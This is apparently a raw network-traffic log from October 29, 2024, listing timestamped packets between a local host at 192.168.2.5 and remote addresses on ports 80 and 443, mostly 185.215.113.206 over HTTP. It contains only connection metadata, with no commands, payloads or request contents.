Oct 29, 2024 06:59:38.619610071 CET	49924	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:38.621362925 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621412039 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621428967 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621455908 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.621495008 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.621510029 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621524096 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621547937 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621562958 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.621562958 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621578932 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621602058 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621603012 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.621618032 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621627092 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.621632099 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621644974 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.621654987 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621663094 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.621670961 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621685982 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621692896 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.621700048 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621715069 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621717930 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.621730089 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621737003 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.621743917 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621757030 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.621767044 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621773005 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.621782064 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621794939 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.621803045 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.621805906 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621819973 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621824026 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.621846914 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621856928 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.621862888 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621876955 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621882915 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.621891975 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621907949 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.621911049 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.621933937 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.621957064 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622335911 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622349977 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622365952 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622390032 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622401953 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622405052 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622421026 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622422934 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622442007 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622445107 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622459888 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622466087 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622473955 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622490883 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622492075 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622517109 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622540951 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622560978 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622575045 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622596979 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622597933 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622612953 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622617006 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622627974 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622647047 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622651100 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622665882 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622673988 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622680902 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622695923 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622698069 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622709990 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622715950 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622725010 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622737885 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622747898 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622761965 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622765064 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622777939 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622787952 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622802019 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622816086 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622819901 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622829914 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622843027 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622844934 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622859001 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622868061 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622874975 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622896910 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622900963 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622911930 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622919083 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622926950 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622941017 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622944117 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622955084 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622967005 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.622970104 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622992039 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.622993946 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.623013973 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.623018026 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.623028994 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.623042107 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.623044014 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.623059034 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.623073101 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.623074055 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.623074055 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.623087883 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.623094082 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.623101950 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.623117924 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.623120070 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.623132944 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.623142958 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.623168945 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.625400066 CET	49924	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:38.625411034 CET	443	49924	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:38.628213882 CET	443	49923	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:38.628376961 CET	443	49923	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:38.628571033 CET	49923	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:38.628974915 CET	49923	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:38.628985882 CET	443	49923	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:38.628998995 CET	49923	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:38.629004955 CET	443	49923	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:38.632764101 CET	49930	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:38.632791996 CET	443	49930	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:38.633065939 CET	49930	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:38.633296013 CET	49930	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:38.633311033 CET	443	49930	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:38.634404898 CET	49931	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:38.634418964 CET	443	49931	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:38.634654045 CET	49931	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:38.634924889 CET	49931	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:38.634933949 CET	443	49931	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:38.738111019 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738137007 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738151073 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738182068 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738203049 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738218069 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738233089 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738256931 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738271952 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738271952 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738286972 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738298893 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738301992 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738338947 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738394022 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738415956 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738431931 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738439083 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738446951 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738461018 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738462925 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738476992 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738478899 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738498926 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738503933 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738518000 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738523960 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738545895 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738555908 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738559008 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738570929 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738603115 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738611937 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738617897 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738631010 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738636971 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738653898 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738656044 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738668919 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738670111 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738683939 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738687038 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738698959 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738702059 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738713026 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738723993 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738727093 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738738060 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738750935 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738759995 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738764048 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738768101 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738782883 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738785982 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738801956 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738801956 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738816977 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738822937 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738840103 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738841057 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738853931 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738857985 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738868952 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738873959 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738883972 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738892078 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738899946 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738900900 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738914967 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738934040 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738934040 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738943100 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738957882 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738962889 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738981962 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.738993883 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.738995075 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739008904 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739033937 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739037991 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739056110 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739061117 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739070892 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739075899 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739085913 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739093065 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739099979 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739110947 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739121914 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739123106 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739137888 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739140987 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739156961 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739161015 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739171028 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739176989 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739196062 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739197969 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739209890 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739212990 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739231110 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739233017 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739243031 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739247084 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739260912 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739265919 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739274979 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739289045 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739295959 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739295959 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739304066 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739305019 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739326954 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739334106 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739340067 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739356041 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739368916 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739382982 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739397049 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739404917 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739407063 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739418983 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739428043 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739433050 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739442110 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739445925 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739459038 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739460945 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739473104 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739476919 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739490986 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739491940 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739502907 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739517927 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739517927 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739536047 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739540100 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739554882 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739568949 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739568949 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739577055 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739584923 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739609003 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739609003 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739624977 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739634037 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739639997 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739660978 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739661932 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739675999 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739684105 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739691973 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739706039 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739707947 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739722967 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739726067 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739744902 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739746094 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739768028 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739770889 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739783049 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739784956 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739803076 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739805937 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739813089 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739820004 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739835978 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739839077 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739850998 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739854097 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739867926 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739870071 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739881039 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739882946 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739897966 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739906073 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739921093 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739922047 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739933014 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739938021 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739953995 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739957094 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739967108 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739976883 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.739983082 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.739989996 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740004063 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740016937 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740020037 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740031004 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740035057 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740051985 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740056038 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:38.740061045 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:38.740077019 CET	80	49888	185.215.113.206	192.168.2.5
